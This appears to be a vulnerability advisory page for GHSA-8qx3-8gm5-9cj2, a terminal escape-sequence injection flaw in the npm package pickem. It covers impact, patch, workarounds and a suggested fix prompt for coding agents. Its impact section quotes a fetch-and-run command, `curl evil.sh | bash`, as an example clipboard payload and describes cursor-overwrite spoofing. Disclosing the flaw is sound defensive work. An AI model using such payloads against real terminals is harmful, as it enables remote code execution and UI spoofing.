# GHSA-8qx3-8gm5-9cj2: pickem vulnerable to terminal escape-sequence injection via unsanitized item text

> Attackers can inject terminal escape sequences via unsanitized item text to spoof UI or poison clipboard, leading to remote code execution when users paste commands.

- **Severity:** Not scored
- **Exploited in the wild:** Not known
- **Login needed:** Not needed
- **Attackable:** Local or same network only
- **Victim action needed:** A user has to click or open something
- **Fix available:** Yes
- **Published:** 25 Aug 2026

## What is GHSA-8qx3-8gm5-9cj2?

GHSA-8qx3-8gm5-9cj2 is a vulnerability in pickem, published on 25 Aug 2026. It can only be exploited from the same machine or local network, and only if a user opens a file or follows a link.

### Official description

### Impact
pickem rendered item text (label, description, group, meta, name) to the terminal with no control-character sanitization. `chrome.row` only stripped ANSI from the **active** row; inactive rows, the public `createFormatter`, and selection-summary lines printed labels **raw**, and the ANSI strip missed bare C0 controls anyway.

Because item text is frequently attacker-controllable (git branch names, PR/issue titles, filenames, npm/API results), a malicious label was a terminal write primitive:

- **OSC 52 clipboard write** — silently load e.g. `curl evil.sh | bash` into the user's clipboard; their next paste-into-shell is RCE.
- **Cursor-movement + erase** (`ESC[1A`, `ESC[2K`) — overwrite already-printed trusted lines to spoof UI (forge a "✓ Verified publisher", fake prompt, or hide a malicious entry).
- **BEL / C0 control flooding.**

Any CLI that passes untrusted strings into pickem choices is affected.

### Patches
Fixed in **1.0.7**. A new `sanitizeDisplay()` strips every escape sequence except inert SGR (color), plus all C0/C1/DEL control bytes, at the render boundary — applied to every externally-supplied display string across all prompts (`select`, `search`, `checkbox`, `searchable-checkbox`, `input`), `createFormatter`, row meta, and committed selection summaries. Display-only; returned values are unchanged.

### Workarounds
Upgrade to >= 1.0.7. Otherwise, strip C0/C1/DEL control characters and ANSI escape sequences from any untrusted text before passing it to pickem.

## Which versions are affected by GHSA-8qx3-8gm5-9cj2?

2 open source packages ship an affected version, including pickem.


| Package | Ecosystem | Affected | Fixed in |
| --- | --- | --- | --- |
| `pickem` | npm | All versions | 1.0.7 |
| `pickem` | npm | All versions | 1.0.7 |

## How do I fix GHSA-8qx3-8gm5-9cj2?

Upgrade pickem to 1.0.7 or later.

## Is GHSA-8qx3-8gm5-9cj2 being exploited?

There is no known exploitation of GHSA-8qx3-8gm5-9cj2 in the wild and no public exploit code.

## Fix prompt for AI coding agents

```text
Check this codebase for GHSA-8qx3-8gm5-9cj2 and fix it if it is affected.

What it is: GHSA-8qx3-8gm5-9cj2 is a vulnerability in pickem, published on 25 Aug 2026. It can only be exploited from the same machine or local network, and only if a user opens a file or follows a link.
Exploitation: There is no known exploitation of GHSA-8qx3-8gm5-9cj2 in the wild and no public exploit code.

Affected packages and fixed versions:
- pickem (npm): affected all versions; fixed in 1.0.7
- pickem (npm): affected all versions; fixed in 1.0.7

Task:
1. Search the dependency manifests and lockfiles (for example package.json, package-lock.json, requirements.txt, poetry.lock, uv.lock, pom.xml, build.gradle, go.mod, Cargo.lock, Gemfile.lock) and any Dockerfiles for the affected packages, including transitive dependencies.
2. If an affected version is in use, upgrade it to the fixed version for its release line with the project's package manager, so the lockfile is regenerated. Prefer the smallest upgrade that fixes it.
3. If there is no fix, or the upgrade would break the build, do not guess: explain the risk and the safest workaround instead.
4. Run the tests and summarise what changed and why.
5. If nothing in the project is affected, say so and change nothing.

Reference: https://insights.sbomify.com/GHSA-8qx3-8gm5-9cj2/ (Markdown: https://insights.sbomify.com/GHSA-8qx3-8gm5-9cj2/index.md)
```

## Sources

- OSV: https://osv.dev/vulnerability/GHSA-8qx3-8gm5-9cj2

---
From sbomify Insights: https://insights.sbomify.com/GHSA-8qx3-8gm5-9cj2/
Summaries are generated and may contain mistakes; the official description above is the record.